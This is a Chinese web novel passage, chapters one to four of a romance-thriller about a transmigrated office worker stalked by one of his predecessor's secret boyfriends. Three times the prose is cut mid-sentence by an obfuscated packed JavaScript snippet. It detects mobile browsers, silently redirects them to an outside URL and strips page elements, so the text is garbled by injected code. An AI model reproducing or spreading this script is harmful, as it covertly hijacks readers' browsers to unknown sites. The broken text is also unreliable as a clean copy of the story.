《谁才是我的男朋友》 1. 第一个男朋友 下雨了。 大雨滂沱落下,乌云密布,沉甸甸地往下坠,雨珠快而密集地砸下,恨不得把人砸得头破血流。 自上周起,台风如同螺旋镖一般,侵袭S市三次,以至于黄色预警持续了一周后,默默变成了橙色,气象局的短信纷来沓至,塞满了手机内存。 学生在第三次台风预警时停课,居家学习,而上班族则是在第三次台风预警时,收到了领导的群消息通知:伞放门口,不准拿进公司。 王佩佩在周一早上七点半准时被闹铃吵醒,拿起手机划开屏幕,不带希望地盼望奇迹发生——今天可以停工不上班。 但很遗憾,无事发生。 她不得不爬起来像丧尸一样去洗漱、穿衣、吃昨天趁打折买的临期面包与牛奶,在八点拿着伞出门。 “啪嗒。” 两声关门声同时响起,王佩佩侧头,看见隔壁的邻居出门,颓丧的表情登时一扫而空,成为雀跃。 “元先生!好久不见!” 不怪王佩佩高兴,任由谁大清早见到美人,也摆不出脸色来。 站在她隔壁门口的青年穿着一套规整不出错的黑色西装,布料不厚,但异常合身,宽肩窄腰,内搭白衬衫,没有系领带,扣子解开两颗,脖颈修长优美,露出一点锁骨,皮肤白得晃眼。 因为听到王佩佩的喊声,青年垂着的头抬起,一张秀美忧郁的面容显露在走道的白炽灯下,像是暗夜里悄然绽放的昙花。 尤其是那双眼睛,像一捧雪水,干净纯粹。 不明情况的人或许会下意识认为青年家境优渥,备受宠爱,只是对方眼下的乌青以及胳膊夹着的公文包显示出来他的真实身份——一位苦逼的社畜。 王佩佩特别喜欢她隔壁的邻居,对方不仅长得漂亮,脾气也特别好,就像现在,在听到她打招呼后,脸上也下意识地露出了温和的笑。 “早上好。” 美人脾气好,真是罕见。 王佩佩控制不住地走到对方身边,和他一齐走向电梯。 “元先生,上周开始,我就一直没见你出过门,是不舒服吗?” “嗯……”青年有气无力地点头,“请了一天病假,后面都是居家办公。” 王佩佩感同身受,面露同情,这一看就是请病假的时候被接连的工作压倒,以至于干脆转居家办公。 “今天下那么大雨,怎么不继续居家?雨天出门太麻烦了。” “要赶工作,到公司会更方便点,今天还有可能会加班。” 想到这里,元先生,也就是元舒的脸上露出几分难言的痛苦。 他怎么也没想到,自己就算是穿越到了另外一个世界,也还是逃脱不了996的社畜生活。 是的,穿越。 元舒原本并不是这个世界里的“元舒”,他来自另外一个类似的现代社会。 从孤儿奋斗到硕士毕业,元舒在就业困难的时代突破重围,进入公司成为了一名996的社畜,又在一次通宵加班中,意外猝死,结果再睁开眼睛,就发现自己穿越了。 这个世界的“元舒”除了父母健在以外,和他的情况基本相同,就连工作,都是如出一辙地忙碌。 对方似乎是高烧导致的心梗,最后因为没有及时求救而死在家中,没过多久,元舒就穿到了他的身体里面,活了过来。 “元先生,你在想什么呢?电梯到了。”王佩佩的声音拉回了他的思绪。 “没什么。”元舒提起自己的伞,轻轻晃了晃,“我的伞不是特别大,不知道待会儿去地铁站的路上会不会淋到雨。” 小区到地铁口还需要步行十分钟左右。 说赶地铁,王佩佩也不由垂头丧气,“……万恶的资本家,停工两天又能怎样?不过按照他们的狗样子,就算洪水把这里淹了,他们也会让我们游去上班的。” 元舒深有同感地点头,他的记忆里,原主上班的公司大boss就是一个冷酷无情的工作狂,加班熬夜是家常便饭,以至于因为boss卷,为公司大揽项目,导致员工也跟着加班加点工作。 “只希望加班费给高点。”元舒叹气。这是打工人唯一的诉求了,活干了,钱不能少。 “是啊是啊。” 两人一同乘坐电梯下楼,当电梯“叮——”地一声,门往两边缓缓敞开时,元舒看见一道黑色的人影正从一楼大厅门口往里走。 在昏暗的雨天,对方的身影高大而黑沉,像是一团瘦削的墨水晕开在着潮湿的空气中,元舒的心莫名漏了一拍。 那个人像是察觉了元舒的视线,朝着他看过去,元舒因此看见他穿的是深蓝色的冲锋衣,头戴棒球帽,口罩则是黑色的。 遮得严严实实,只露出一双眼睛,直勾勾地盯着他。 小动物般的直觉让元舒警惕地低下头。 王佩佩毫无所觉,一边扬着伞准备打开,一边跟元舒说话:“这雨也太大了……” 他们都没有停下步伐,元舒与他擦肩而过,闻到了一股很淡、很奇怪的香味,像是薰衣草洗衣液的气味,又混着铁锈的、潮湿的气息。 一阵风从门口吹进,冰冷地抚过元舒脖颈与锁骨处裸露在外的皮肤,他不禁缩了缩脖子。 “走吧,元先生,时间不够了。”王佩佩撑开伞走进雨幕中,催促。 元舒应声:“好。”随之也撑伞走出去。 意料之中,伞没能完全抵挡住雨水,它们四面八方地把元舒包围,将他干燥整洁的衣物变得潮湿。 元舒加快了步伐,只要快点到地铁站,他就不会在出门的第一段路就变得过分狼狈。 鞋子踩在盈着薄薄一层水的里面,走动时带起另一阵“雨”。 在沙沙声中,尖锐的警笛声刺破暗沉的雨天。 “警戒!闲杂人等不许靠近!” “都走开!不准凑热闹!” “警察,是警察!” “发生什么事了?” 走在他前面的王佩佩好奇地探头望去“怎么了?怎么那么多警察把隔壁街围起来了?” 话音一落,她像是看见了什么东西,骤然停下脚步,浑身僵硬。 不详的预感令元舒绷紧了心弦,忘了呼吸。 “怎么了?”他的声音艰涩。 王佩佩慢慢转身看向元舒,惊恐的目光落在了他们的侧边小巷。 元舒下意识朝人声嘈杂的方向看去,在人影交叠、雨水纷飞的天色里,他看见了被人群遮挡的长条形黑色油纸袋。 地面倾斜流淌的雨水,是红色的。 …… “本月21号早上七点,淮水街6号路巷口,发生一起残忍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239153|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀人案件……” 新闻报道着今天发生的命案,办公室的白炽灯将窗外暗沉的雨天隔绝在外,空调运作着,发出细微的响声。 元舒心神不宁地坐在工位上,看着电脑跳出来的弹幕广告发呆。 今早,他和王佩佩看见了案发现场,在恐惧震撼之余,都不由自主地想起了那个穿着深蓝色冲锋衣的男人。 他们一边恐惧着提供线索后会不会被找上门,一边害怕着凶手徘徊在附近,自己会受到生命危险。 最后,元舒选择了离开所在的区域,乘坐地铁到中途下站,借用公共电话,告知了警方线索。 也因此,他早上迟到了半小时,扣了五百全勤,并且错过了早会。 但有言道:功过相抵。 在下午五点半,距离下班还差半小时的时间,经理在群里面发布了加班的消息。 “大家记得向人事申请加班补贴。”经理对自己部门的组员说。 公司加班的福利是时薪的三倍,元舒稍微算了一下,加班到九点,刚好抵消被扣掉的全勤。 “……”好苦,感觉白加班了。 而正当元舒默默在心里算本月薪资时,经理突然走到了元舒的面前。 “元舒,boss叫你进去一趟。” 元舒惊讶,“啊?” 经理见他微微歪着头,有些疑惑的模样,母爱泛滥,轻声提点:“这个项目你是主要负责人之一,你错过了早会的汇报,boss找你肯定是为了问项目进度,你要好好地报告,知道吗?” “下个月底可是员工提涨薪幅度的时间。” 经理的暗示让元舒瞬间打起了精神,如果多赚点,说不定可以搬去别的小区。 “谢谢赵姐。”元舒感激地对经理点头。 经理笑了下,调侃道:“好好工作吧,我可不想失去一个部花。” 元舒长得漂亮,公司里的人私底下弄了个“公司最美”的称号,但由于部门员工的“占有欲”,大家便调侃他为“设计部部花”。 元舒为这个名字感到羞耻又无奈,脸颊微红,看得经理又是一阵笑。 “快去boss办公室吧,他等着你呢。” 元舒应声好,抱着桌上的文件夹就迈步往办公室的方向走。 他轻敲三下门。 没有人回应。 可是经理说boss就在办公室,难道是因为他早上迟到而不满,想要给他下马威吗? 元舒深呼吸一口气,沉下心,再敲两下。 依旧没有回应。 但是这一次,元舒推开门,走进去。 办公室大约有八十平,大得令人咂齿,色调是黑白灰,偶有摆饰,颜色也是冷色调,落地窗的窗帘拉开,外面的城市雨景一览无余,灯没亮,静谧灰暗的色调浸满了整间办公室。 元舒扫了一眼,里面没有人。 嗒。 门突然关了。 元舒警铃大作,毛骨悚然,当即就要转身,身后却骤然贴来了一具身体。 冰冷、坚硬、高大。 那个人自后拥着他,把头靠在他的肩膀上,微微侧头,呼吸落在他的脖颈处,温热而暧昧。 “怕什么?”男人搂紧他的腰,迫使他更加贴近对方的怀抱,嗓音微哑,“我又不会吃了你。” 2. 第一个男朋友 职场性骚扰?! 五个大字骤然间砸在元舒的心头,让他整个人陷入震撼当中。 公司出入都要刷员工卡,自然不可能有陌生人进出,尤其是总裁办公室,那么排除所有不可能的情况,只剩下最后一个难以置信的可能——骚扰他的人就是boss本人。 “怎么不说话?”身后的男人搂着他的腰,嗅闻他身上的气味,鼻尖摩擦脖颈处的皮肤,元舒痒得下意识躲避,却在下一秒被打横抱起。 “啊!” 悬空的感觉令元舒惊呼。他慌乱地抱紧了对方的脖颈,害怕自己摔在地上。 轻笑自面前响起,元舒抬头,在对方走动的动作中,看见了利落的下颌线,翘起的唇……当他的视线往上移动,突然的坠落使他不由瞪圆了眼睛,蹙起眉头。 元舒发出一声闷哼,似是摔痛了,又似是埋怨的呢喃。 男人站在他面前,垂眸望下。 陷入柔软的沙发内的青年微微侧着身体,黑发微乱,衬得一张脸愈发小巧,衬衫领口的扣子没系稳,因为摔的动作而彻底解开,露出雪白的皮肤,脖颈修长,上面布着的青紫色的血管若隐若现,紧张时,喉结滚动,像是在吞咽口水。 男人也跟着学了一下吞咽的动作,干渴的痒意猝然爆发,眼神幽暗而痴迷地落下,像是捕猎者观察着心爱的猎物——咬断要害,让它完美地死在自己怀里。 或许是察觉到危险,青年警惕地弓起身体,抬眸朝他看去。 “……邬总,你要做什么?”元舒着重咬了对男人的称呼,提醒对方不要轻举妄动。 同时,元舒也在打量面前的男人——邬从律,他的顶头上司,公司boss,顶尖品牌的创始人,身价百亿。 一身剪裁合身的高定黑西装,内搭白衬衫与金色暗纹领带,黑发用发胶固定成背头,露出深邃俊朗的五官,烟灰色的眼眸,密长的睫毛与面部轮廓,都告知着他血统的来处——他是一个中俄混血。 男人面色冷峻,眉眼像是带着凌冬的霜雪,不近人情,如果有不识趣的人企图靠近,必然会被风雪所割伤,但此时此刻,这种尖锐的冷意落在了元舒身上,透过衣衫融进他的皮肤,带来阵阵战栗与暧昧。 “怎么叫得那么生疏?”邬从律弯腰俯身,手撑在沙发边缘,半压在元舒身上,“因为今天让你来上班,所以生我气了吗?” 他的手指抚过元舒卷起的衬衫衣袖,指尖划过皮肤,落在上面戴着的银灰色腕表镜面,“看来你很喜欢我送的这款手表。” “……” 亲昵的话语令元舒意识到不对劲,什么生气,什么手表……这手表是他今早换衣时在衣柜里拿的。 手表的牌子元舒并不认识,但它做工精致,表盘底下还镶嵌着碎钻,价格必定不斐,于是为了让自己打起精神上班,元舒就把它戴上了,以图一个好心情。 结果手表竟然是邬从律买的?! 原主和邬从律究竟是什么关系?难道不是职场性骚扰,而是办公室恋情吗?可是为什么他脑子里一点关于恋爱的记忆都没有呢? “又发呆。”男人不满的声音自耳畔响起。 温热的呼吸落在脸颊,元舒一个激灵回神,发现不知道什么时候,邬从律竟然已经完全压在了他的身上,一手搂住他的腰,另一只手则是捧住了他的半边脸颊。 靠得太近了,近到元舒能看见男人烟灰色的眼眸里倒映着的属于他脸,彼此隔着不厚的衣服布料,感受到频率不同,但同样有力跳动的心脏。 四目相对,元舒窥见对方眼里灼热的情|欲。 这一瞬间,他立刻就明白为什么邬从律要让人叫他单独进来,且不开灯了。 男人的掌心轻轻揉弄着他的脸颊,粗糙的指腹与掌心摩擦着细嫩的皮肤,令它变得滚烫。 “闭上眼睛。” 对方高挺的鼻尖蹭动他的鼻尖,沙哑的声音带着提醒,元舒闻到他身上被体温烘热熏发出来的木质香,这令他有些晕眩。 元舒知道,下一秒对方就要吻上来了——他看着那张脸离自己越来越近,这间庞大的办公室就像是某种大型野兽的巢穴,它在这阴雨天里,享受猎物。 “不……” 轻微但坚定的拒绝在办公室内响起。 元舒侧过头,让那张薄唇落在自己的耳侧,然后他迅速地用手推开了邬从律,从他身下爬起来,蜷缩起双腿,坐在沙发边缘。 邬从律毫无防备,或者说,他纵容着面前青年的行为,否则以他190的身高与常年健身的身材,轻而易举就能把元舒像提鸡崽子一样提起来。 元舒比起他来说,甚至可以用“娇小”来形容。 “为什么不?”邬从律坐在沙发上,从容不迫地等待元舒给他理由,或者说,编一个理由。 “……因为这里是公司。”元舒双手抱着膝盖,一双杏眸在灰蓝的雨天内水亮而柔软,他眨了眨眼,“影响不好。” 邬从律看着他没说话。 元舒心里着急,怕他一言不发又扑过来,想到了这人在记忆力里是个工作狂,试探着找了个理由:“经理让我进来给你汇报项目进度,现在已经快六点了,我们快点完成工作,就不用加班太久了……” 语调拉长没掉下来,元舒咬了咬唇,用为数不多看晚间狗血八点档得来的“恋爱经验”,微微起身,半跪坐在沙发上,倾身,靠近邬从律。 “早点下班,回去……再见面不是更好吗?” 或许是这句话取悦了邬从律,他笑了。 “好。” 邬从律对着元舒点头,随即不等对方反应,下一秒,就站起身走向另一边,皮鞋在地面发出规律而轻微的响声,“啪嗒”,办公室的灯打开了。 刺目的光线驱散了灰暗的雨色,也驱散了暧昧与欲望的气味,元舒不由自主低下头,用手臂挡住光线,直到眼睛适应了当前的亮度,才抬起头看向办公室的主要位置——邬从律坐在了办公桌前。 宽而长的墨色办公桌,上面摆放着堆叠好的整齐文件,颜色分明,左侧面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239154|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放置电脑显示屏与键盘,以及一个小臂长的铜人摆件闹钟,闹钟背后则是一盏台灯。 台灯散发着淡淡的暖光,照亮一小片区域,却显得铜人摆件更加冰冷肃正。 邬从律坐在黑色真皮办公椅上,双腿随意交叠,作出轻松的状态,英俊的脸上没有带一丝表情,冷酷得犹如最公正的审判者。 “开始你的汇报。” 这与几分钟前,压在元舒身上,面露渴望的男人大相径庭。 元舒几乎要以为那是自己产生的幻觉,但微敞的领口以及心跳声都告诉他,这不是。 他深呼吸一口气,在男人的目光下捡起地上的文件,开始低声汇报。 约莫二十分钟,元舒抱着被打回来的项目文件,神情恍惚地离开了办公室。 坐在他工位附近的同事看见他一副凌乱失神的模样,不由同情:“被boss骂了吗?” “……没有。”元舒心想,要是只被骂就好了,但邬从律不仅没有骂他,还拿笔给他标注了哪里不行,需要修改。 老天,元舒哪里遇见过这种老板,以前都是直接一句“感觉不对”,然后就被打回来开始做第n版。 邬从律的行为简直令他毛骨悚然。 不过最重要的事情依旧是他们之间的关系以及他的记忆。 为什么他不知道“自己”有男朋友? “没骂你不挺好的,怎么一副愁眉苦脸的样子?”同事调侃,“跟男朋友吵架了?” 元舒瞪大双眼,激动地抓住同事的手臂,急声问:“你知道我有男朋友?!” “当然啦,你之前不是一直说你男朋友对你很好吗?还给我们看过聊天记录呢。”同事吓了一跳,呐呐道,“分手了?” “……没有。” 元舒心乱如麻,拿起手机翻社交媒体联系页面,却怎么也没找到任何一个暧昧亲密的联系人名称。 同事还在说话。 “我就说你怎么可能和男朋友分手呢,病假回家,手机都换了最新款的,肯定是男朋友哄你给你买的吧?” “……” “你说什么?” 元舒缓缓抬起头,眼睛定定地看着同事,一字一句问,“你说什么?” “你男朋友?”同事疑惑不解。 “不是这句。”元舒举起手机,“你说,我换了新手机,这部手机是新的?” “对啊。” “你确定?” “当然,我们就坐两隔壁,吃饭都一起,我怎么可能不知道你手机是什么样。” “……” “你怎么了,元舒?” “没什么,我没事。”元舒摇头,伸手把探头过来的同事推回去,“快干活吧,我也要改文件了……” 同事自讨没趣,撇撇嘴不再看过来,而元舒则是攥紧了手机。 他低下头,看见手机屏幕里倒映着的脸庞——眉头紧皱,不安又慌乱。 不对劲,这很不对劲。 这穿越,不对劲。 3. 第一个男朋友 晚上十点四十分,元舒疲惫地关掉电脑,从工位上站起来。 因为心神不定,他的工作效率极速下降,直到临近九点才强迫自己认真工作,以至于到现在这个点才下班。 环顾四周,公司只剩下他一个人。元舒朝着走廊尽头那间紧闭的办公室大门看,半开的百叶窗里面幽暗一片。 邬从律也离开了。 元舒想到傍晚时分发生以及发现的事,放松的心重新慢慢提起来。 还是赶紧下班回家,找一下旧手机,看看里面的聊天记录到底是怎么回事。 元舒百思不得其解,既然原主有男朋友,为什么无论是记忆力,还是新手机里任何关于邬从律的信息都没有呢? 难道是因为魂不对身,所以连带着记忆也缺失了吗? ……还是说,这其中藏着什么秘密? 想到某种可能,元舒打了个寒颤,下意识抓住自己的手臂,上面起了一层的鸡皮疙瘩。 他提起背包,顺手对着办公区拍了张照片发工作群留存,关灯往外走。 办公区陷入一片黑暗,短暂的安静后,“唰——”办公室的百叶窗骤然拉开,一道高大的人影站在那,注视着离去的廊道。 — 雨没有再下,温度却也没有恢复夏日原本有的灼热。 夜里的温度低到风吹到身上时,会带来阵阵寒意。 元舒乘坐地铁到了居住的小区附近的地铁站,顺着寥寥无几的乘客来到地铁站,看他们低头快步离开,突然想起今早发生的杀人案。 再往四处看去,除却地铁站入口的灯亮起,以及几个24小时便利店,大部分店铺竟然都关门闭店了 ,夜风一吹,显出几分凄冷萧瑟。 赶紧回家。 元舒脑子里只有这一个念头。他深呼吸一口气,拉紧背包袋,快步往小区的方向走。 嗒嗒、嗒嗒嗒、嗒嗒嗒嗒嗒—— 脚步声匆匆,时快时慢,风“呼啦”一声吹来,树叶沙沙作响,半空中飞起红色、白色的小型塑料袋和枯叶,最后又在风停时掉在地面,被路人踩过。 嗒嗒、嗒嗒嗒。 脚步开始变轻了,变得……轻快,仿佛有什么好事即将发生。 元舒越往前走,心就提得越紧,因为他……听到了身后好像有出其他人的脚步声,可是他回头,什么也没看见。 怎么回事?怎么办?是他的错觉还是确实有人跟在他的身后? 元舒拿出手机,迅速把自己的定位发给坐在自己隔壁的男同事以及王佩佩,并且在完成之后,打开拨号页面摁出了110。 他把手机攥在手心,掌心离亮着的屏幕有一厘米的距离,手指则是牢牢抓着手机沿边,以防误触、失手丢下手机。 距离进入小区还有五百米。只要穿过人行道,去到对面关闭的店铺门口,再走两百多米,就能到小区门口了。 元舒在心里暗自给自己打气,在绿灯时,左右看道路两旁没有车,便闷头往前冲——他冲到了一家玩具店的店铺门口。 橱窗里,小熊和它的好朋友大象、小兔子、乌龟一起手牵手站在翠绿的草丛里往外看,元舒僵立在那,看着落地玻璃窗倒映出来的身影。 除了他,还有另一个人,戴着鸭舌帽和口罩,穿着冲锋衣…… 在对方穿过人行横道朝他走来时,元舒再也控制不住情绪,朝着前方奔跑。 他以百米冲刺的速度奔向小区,即使越过看门的保安大爷进入小区门口,他仍然没有停下脚步,而是继续往前跑,直到进入居住楼栋,进入电梯。 元舒咬着唇,抑制住奔跑带来的喘息,背手在背包侧边抽出了一支圆珠笔,握在手里。 他靠在电梯按键的侧边,直到“叮——”电梯门打开的一刹那,心高高提起—— 没有人。 外面没有人。 元舒愣在原地。 安静的几秒,当电梯门再度关闭,他呼出一口气,摁向开关,踏步走出去。 ……没有转身,没有抬头,但他看见了一道影子站在自己的右侧方,黑影顶端抵住了他的脚侧…… 嗒。 那个人走过来了。 元舒没有动,而是在心里默数:三、二、一…… 就是现在! 元舒猛地转身,将手里的圆珠笔对准身侧男人的眼睛,狠狠扎下,与此同时,屈膝上踢,但他对面的男人也在瞬间作出反应。 男人的速度也极快,在笔扎过来的那一刻侧头躲过,圆珠笔笔尖刺空,但依旧在他颧骨往下至太阳穴的皮肤留下痕迹,而元舒踢来的膝盖也被他用腿踢开。 他抓住元舒的手臂,用力一拧,提起,皮肉的搅动令元舒忍不住发出痛呼,男人比元舒高太多了。 这样下去一定会输。元舒咬紧下唇,放松绷紧的身体,将注意力集中在腿部,男人见状,以为元舒不再挣扎,慢慢松开手,结果下一秒,元舒猝然双腿合并,用力踢向他的腹部。 这一踢用尽了元舒所有的力气,也让男人放开了元舒的手。 “啊……” 轰的一声,元舒摔倒在地上,他侧着身体,左侧肩膀至小臂都感受到了碎裂的痛苦,他张开唇,大口呼吸,汗水自额头流下,润湿了睫毛。 纤长浓密的睫毛结成缕,元舒控制不住地眨动眼睛,像是从蝴蝶羽翼流下的露珠。 因为疼痛,他的肩膀微微往里含,瘦削单薄的背暴露只楼层的灯光之下,薄薄的白衬衫贴着皮肤,凸起的骨头形状优美而流畅,从上往下,一手就能握住的细腰弯着,像是一把蓄势待发的弓。 嗒嗒、嗒嗒嗒。 对方又再度靠近了。 怎么办? 背包甩到了另一边,圆珠笔也被摔坏了,他手里什么也没有……不,还有他的手。 做工精致的皮鞋落在了身侧,男人屈膝半蹲下来,元舒蓄力,将握紧的拳头用力挥出—— “够了。” 邬从律准确地握住他的手腕,在元舒震惊的目光下,摘下口罩,“是我。” “怎么是你?!”元舒难以置信地看着邬从律,“你跟踪我做什么?!” “跟踪?我没有跟踪你。” 邬从律蹙眉,“你一出电梯就用圆珠笔戳我的眼睛,应该是我问你为什么要攻击我。” “……” 元舒回想了一下,自己当时确实神经太紧绷了,看到人朝着自己走过来就开始攻击,尤其是邬从律还戴着口罩! 不对,他被邬从律带偏了。 “你没有跟踪我,为什么知道我的地址?为什么出现在这里!” 邬从律垂下眼眸,烟灰色的瞳孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239155|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎闪过一丝暗芒。 他跟元舒对视,轻声问:“不是你说早点完成工作,下班见面吗?至于你的居住地址,你忘记了?我们可是伴侣。” “我是你的男朋友。” “……” 元舒哑然,同时后背起了一层冷汗。 邬从律不会怀疑他不是原主吧? 好不容易捡回来一条命,他不想进监狱,也不想被抓去研究……要是真有那么一天,他就说自己有精神分裂症,毕竟打工打疯了的人遍地都是。 想到这里,元舒暗暗松口气,握住了邬从律的手,借着他的力气起身,“我记得。只是我太害怕了……刚刚下班路上,一直有人跟着我,今天早上附近发生了杀人案,我怕有危险。” 他摔得厉害,神经紧绷时不觉,现在放松下来,再一动作,感觉半边骨头都碎了。 想到罪魁祸首就在自己身旁,元舒抿紧唇,不由瞪了他一眼。 邬从律睨他一眼,正要说话,一道脚步声却突然从楼道口传出。 元舒顿时绷紧身体,抓住邬从律的手臂。 邬从律眯起眼睛,挡在了元舒面前,表情意味深长。 步梯急救通道的门打开,伴随着对方的说话声。 “你好,你点的外卖到了。” 元舒和邬从律看见来人,神情一怔。 因为楼梯口走出来的男人显然是个外卖小哥,他穿着黑色冲锋衣,头戴鸭舌帽,两只手上提满了外卖,此时正艰难地把右手的外卖全部提在左边,以及把一个蛋糕盒放在了地面。 外卖小哥看见两人后也吓了一跳,神情不安又疑惑:“怎么了?” 他斜对面的门打开,里面走出一个穿着宽大T恤的少年,探出头来,迅速拿过外卖,“这是我的吧?” “对。” 两人一问一答,少年立刻拿着外卖缩回去,门砰地一声又关上了。 “这就是你说的,跟踪你的人?”邬从律低头问。 明明是没什么表情的脸,却叫人看出了几分戏谑与笑意。 元舒耳根发红,这真是闹了个大乌龙!但是谁叫今天出了事儿呢?怎么说也是警惕为上才对吧? 他正经道:“我这叫防患于未然。” 邬从律嗯了声:“很好。” “……” 元舒总觉得他在嘲笑自己,抿了下唇,松开抓住对方胳膊的手,从背包里拿出钥匙走向自己的家门。 而当他把钥匙插进门锁的那一瞬间,外卖小哥突然诶了一声,小跑着走到他的面前。 元舒奇怪地抬头,就见对方把手里提着的蛋糕递给他。 “404号,这是你的蛋糕。” “蛋糕?”元舒懵了,“我没点蛋糕。” “是你朋友点的吧?”外卖小哥指了下蛋糕盒丝带上卡着的贺卡,“你看看。” 元舒抽出贺卡,当他的视线触及到上面的字时,他的脸色骤然间变得惨白。 因为上面写着—— [亲爱的,很抱歉今天吓到了你,早知道我该在你上班之后动手……但,你害怕的样子真的很可爱,所以给你买个蛋糕压压惊,希望你喜欢^v^ ps:脚踏多条船可是会翻车的哦~宝宝,你那么聪明,应该知道要怎么做吧? ——你亲爱的男朋友。] 4. 第一个男朋友 “谁给你点的外卖?”邬从律的声音自身后传进耳中。 当对方伸出手想要拿过贺卡时,元舒回神,猛地把手中那张薄薄的贺卡将它揉成团,攥在手心。 “我的一个同学。”元舒勉强笑了一下,找借口,“他记错了我的生日,以为今天是我的生日,所以给我买了蛋糕。” 邬从律视线落在元舒的脸上,几乎要从那笑里剖析出什么来。 可他最后也只是像个想要证明自己没有忘记伴侣各种重要节日的男朋友,说:“你的生日在夏末,八月二十五号,现在才七月份。” “对。你记得一点都没错。” 元舒并不想给邬从律答对问题进行“颁奖”,他接过外卖小哥手里的蛋糕,推开门,快步走了进去,同时,在身后的邬从律想要进门时,用脚快速踢门企图关上。 邬从律也不出意料地伸出鞋尖抵住了。 “明天要上班。”元舒给出了这个工作狂一个完美的理由,“不能耽误工作,今天太晚了,下次吧好吗?” “下次是什么时候?” 邬从律危险地眯起眼睛,手撑在门上,一点点用力,仿佛元舒不给他一个答案,就休想随意把他打发了。 元舒出了一身冷汗,眼见着门要被推开,他急忙高声道:“周六,好吗?周六,随你安排……”抛出无法拒绝的诱饵,“可以过夜!” 这句话一出,元舒想打自己的嘴。 他到底在说什么啊! 邬从律却很满意。 抵住门的力气变小了,元舒能感受到自己正在把门合上。 在离关闭房门只留下一条缝隙时,邬从律烟灰色的眼瞳在门外盯着他。 “别忘记。” “砰——” 门关上了。 元舒瘫软地靠着门坐下,看着手里的蛋糕盒,顾不上其他,赶紧拆开。 揭开蛋糕盒,里面是小熊形状的巧克力蛋糕,造型可爱,拆出刀叉切开,流淌出暗红色的液体——草莓果酱。 实话说,有够惊悚的。 元舒忍着不适翻找,里面并没有什么特殊的道具或者纸条,他松口气,又想起手机的事情,赶忙从地上爬起来,奔向卧室。 一阵噼里啪啦,翻箱倒柜,他终于找到了放在衣柜抽屉最里面的旧手机。 充电开机,元舒一边着急地来回走,一边祈祷:“拜托,千万别是我想的那样……” 手机放置在桌面,黑色的屏幕上浮现logo,几秒后缓慢开机,出现锁屏页面。 屏幕表面碎裂的痕迹严重,缝隙边缘隐约出现蓝绿色,看得出来是经过了严重的摔打,这让元舒有种不祥的预感。 终于开机了。 元舒拿起手机,手机没有设置锁屏密码,一划就开,解锁的瞬间,他立刻去翻找社交软件,打开,步入眼帘的就是主页里满满当当的聊天页面。 “怎么那么能聊……” 元舒眼前一黑,但为了小命着想,还是沉下心,一点点翻找。 等翻遍了三百多个联系人,元舒终于绝望地确定了一个事实——他完了。 从聊天信息看,原主不仅搞办公室恋情,还脚踏n条船,要是船各个都不知道彼此的存在,这就算了,但问题在于,这些船里不知道哪一条突然翻了! 并且而由于原主已经死了,他穿到了对方身上,所以翻船了的人就变成了他。 这条翻了的船还开始报复社会,成了杀人犯,下一个目标对象说不定就就是他! “……” 什么无妄之灾啊!他就知道多一条命这种好事不会发生在他身上! 元舒抓狂地倒在床上,恨恨锤床,但最后还是把旧手机进行联网,将除了邬从律意外,确定出的十几个疑似男朋友的暧昧对象发送了统一的信息——很久没有见面了,什么时候有空出来见一面? 发完信息,元舒一看时间已经到了凌晨十二点半,想到早上七点半还得起床上班,一口气差点没上来,紧迫忐忑的心情一扫而空,拖着疲惫不堪的身体进入浴室。 热水落在身上,把摔伤的皮肤烫得像是被火撩烧过一般,雾气蒸腾,元舒忍耐地闭上眼睛,感觉到手臂的皮肤趋近麻木时,才抬起手继续洗。 洗完澡,他也没有上药,而是裹了浴袍出去,回到了房间,用洗手毛巾擦了擦头发,爬上床,拿起手机。 没有人回复消息,或许是都睡了。 元舒把卧室的灯关掉,缩进床里,半阖着双眼,视线适应了昏暗的夜色后,他莫名感到了一股奇怪的……视线。 是今天太疲惫了,导致有些神经质吗? 可是元舒脑子越来越清醒,同时也听到自己的心脏跳动的频率越来越快。 咚、咚咚、咚咚咚! 窗帘没拉紧,静谧地垂着……元舒再也忍不住猛地先掀开被子坐起身,攥着床头柜的摆件冲过去—— 唰—— 窗帘被拉开,里面空无一人,只有窗外寂静幽暗的夜色。 元舒愣在原地,几秒后,他突然转身,拿起手机打开摄像头,对准了房间四周。 柜子……桌子……地毯……窗帘……角落!那里有红点! 元舒打开手机闪光灯,发现那是一个与门把手齐平高度的挂钩,挂钩图案的小熊,上面两个仿真的玻璃眼珠,左眼闪着红点。 而且玻璃珠的角度刚好对着床。 “……” 元舒真是想现在打开窗户跳下去算了。 他深呼吸一口气,继续扫,好在没有第二个摄像头了。 打开灯,元舒拆开挂钩里面的摄像头,厌恶地砸在地上,缓了口气,才拿出客厅,扔进垃圾桶里。 